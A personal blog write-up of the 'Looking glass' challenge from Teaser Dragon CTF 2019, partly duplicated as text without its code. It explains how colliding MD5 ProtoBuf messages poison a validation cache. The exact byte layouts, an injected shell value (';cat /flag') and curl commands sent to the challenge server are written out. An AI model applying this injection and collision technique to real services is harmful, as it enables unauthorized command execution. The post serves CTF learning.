Teaser Dragon CTF 2019 - Looking glass
Sep. 26th, 2019 02:44 pm![[personal profile]](https://www.dreamwidth.org/img/silk/identity/user.png)
Caught flu and staying at home, drinking gallons of warm tea. The fever is thankfully gone (but not cough, goddamnit!), so this is a good opportunity to do whatever I want, which in this case is solving some CTF tasks.
Let's give the "Looking glass" from Teaser Dragon CTF 2019 a try. The CTF is over, but who cares - the services are still running. The objective is to read the
What we have is a web service written in Go, which takes a ProtoBuf-encoded request to ping a specified server, and returns a ping command output in a ProtoBuf-encoded response. Pinging is carried out as follows:
so one would be tempted to ping
This reveals the gist of the task: construct two ProtoBuf messages with colliding MD5 checksums, such that the first one passes validation, and the second one contains the injection.
Quick googling produces the following useful links:
Attempt #1: Trying to find a collision for messages with fully specified addresses using
and
After half an hour of waiting, I realize this might not be practical on my 4-core i5. I briefly toy with the idea of doing this on something like a spot c5.24xlarge instance for ~1.5$/hour, but surely this is not something authors had in mind?! ("briefly" is actually a lie: I must have spent about an hour preparing a Docker image and requesting increases of various AWS limits before coming to my senses)
hashclash can make use of CUDA, but WSL does not support it, so I have to install Linux - a long overdue TODO anyway.
Attempt #2: Having studied
I also read https://news.ycombinator.com/item?id=13826734, and learn another important property of MD5: if
So the message structure to work with is:
Which ProtoBuf field has the most useful least significant bit?
This finally yields a working solution:
What happens with the last two fields after a bit flip? The first byte is dropped, and we get:
So, having generated
Done! A few lessons learned:
Writeups from another people:
Let's give the "Looking glass" from Teaser Dragon CTF 2019 a try. The CTF is over, but who cares - the services are still running. The objective is to read the
/flag
file from the server on which http://lg.hackable.software:8080/ is running. The sources are available.What we have is a web service written in Go, which takes a ProtoBuf-encoded request to ping a specified server, and returns a ping command output in a ProtoBuf-encoded response. Pinging is carried out as follows:
commandline = fmt.Sprintf("ping -%d -c %d %s", c.PingCommand.GetIpVersion(), c.PingCommand.GetCount(), c.PingCommand.GetAddress()) ... e := exec.CommandContext(ctx, "/bin/sh", "-c", commandline)
so one would be tempted to ping
;cat /flag
, however, there is a validation routine preventing that. Validation results are cached:key := md5bytes(data) ... valid, ok := v.cache.Get(key) if ok && valid.(bool) { return &cmd } else if checkAddress(address) { v.cache.Add(key, true) return &cmd }
This reveals the gist of the task: construct two ProtoBuf messages with colliding MD5 checksums, such that the first one passes validation, and the second one contains the injection.
Quick googling produces the following useful links:
- ProtoBuf encoding: https://developers.google.com/protocol-buffers/docs/encoding
- Program to carry out MD5 collision attacks: https://github.com/cr-marcstevens/hashclash
- Guide for using hashclash: https://github.com/corkami/collisions
Attempt #1: Trying to find a collision for messages with fully specified addresses using
cpc.sh
script, for example:b'\x0A\x3E'
- Ping message with a total length of 0x40 (hashclash outputs files whose size is multiple of 0x40)b'\x0A\x09127.0.0.1'
- address='127.0.0.1'b'\x22\x31'
- Non-existent string field with id 4, whose value is to be filled by hashclash and whose value ProtoBuf will ignore
and
b'\x0A\x3E'
b'\x0A\x0A;cat /flag'
b'\x22\x30'
After half an hour of waiting, I realize this might not be practical on my 4-core i5. I briefly toy with the idea of doing this on something like a spot c5.24xlarge instance for ~1.5$/hour, but surely this is not something authors had in mind?! ("briefly" is actually a lie: I must have spent about an hour preparing a Docker image and requesting increases of various AWS limits before coming to my senses)
hashclash can make use of CUDA, but WSL does not support it, so I have to install Linux - a long overdue TODO anyway.
md5_birthdaysearch
finishes very quickly, getting my hopes up, but the next stages run on CPU again.Attempt #2: Having studied
corkami/collisions
a little bit more carefully, I find Unicoll. What it does is: you specify a 12-byte prefix, it flips the least significant bit of the 10th byte, and finds the colliding messages, one of which has the original prefix, and the other one has the modified prefix. A quick try with some random data shows that hashclash can find such collisions in 3.5 minutes.I also read https://news.ycombinator.com/item?id=13826734, and learn another important property of MD5: if
md5(A) = md5(B)
, provided A
and B
's lengths are multiples of 64, then hash(A + C) = hash(B + C)
.So the message structure to work with is:
- Controlled 12-byte prefix
- Hashclash-generated 52 (or, more realistically, 52+64) bytes
- Controlled suffix with a controlled length
Which ProtoBuf field has the most useful least significant bit?
- Address value: allowed characters are
"abcdefghijklmnopqrstuvwxuz.1234567890"
, and, judging by ASCII table, flipping their least significant bits does not produce anything useful (b';'
, for example, would have been nice) - Wire format: converting e.g. a string to a start group is of no use
- Field length: changing address length is not particularly useful, since more than one address character is needed to achieve the goal. Changing padding field length is, on the other hand, very promising. One could embed injection into padding, and then flip the bit to make it a part of an actual address field!
This finally yields a working solution:
b'\x0A\xB0\x01'
- Ping message with a total length of 177b'\x22\x03\xAA\xBB\xCC'
- First padding fieldb'\x2A\x76\xDD\xEE'
- Padding field that covers hashclash-generated junk; after flipping its length's LSB, it will cover 1 extra byte- 52+64 hashclash-generated bytes. If hashclash generates just 52,
b'\xFF' * 64
can be appended b'\x0A\x0A' + b'\x30' * 0x0A
- Address field for the good message.b'\x32\x25;cat /flag' + b'\x20' * 0x1c
- Padding field containing the injected address
What happens with the last two fields after a bit flip? The first byte is dropped, and we get:
b'\x0A\x30' + b'\x30' * 0x09
- Address field with a length of 0x30 starting with000000000
b'\x32\x25;cat /flag' + b'\x20' * 0x1c
- Continuation of the address field - its full value is0000000002%;cat /flag
So, having generated
collision1.bin
and collision2.bin
, we can append various suffixes containing the commands to run, and execute them as follows:cat collision1.bin suffix >request.good
- Assemble the good requestcurl http://lg.hackable.software:8080/command --data-binary request.good
- Add an entry to the validation cachecat collision2.bin suffix >request.bad
- Assemble the colliding requestcurl http://lg.hackable.software:8080/command --data-binary request.bad
- Execute the command bypassing validation
Done! A few lessons learned:
- Have the infrastructure/tools ready. Were it a real CTF, downloading and installing Linux would've set me back significantly
- Iterate fast, don't cling to ideas
- Spend a bit more time thinking/planning before mashing the buttons. E.g. Unicoll could've been found much earlier and AWS "adventure" could've been completely avoided
Writeups from another people:
- https://nytr0gen.github.io/writeups/ctf/2019/09/22/teaser-dragon-ctf-2019.html
- https://github.com/p4-team/ctf/tree/master/2019-09-21-dragonctf/lookingglass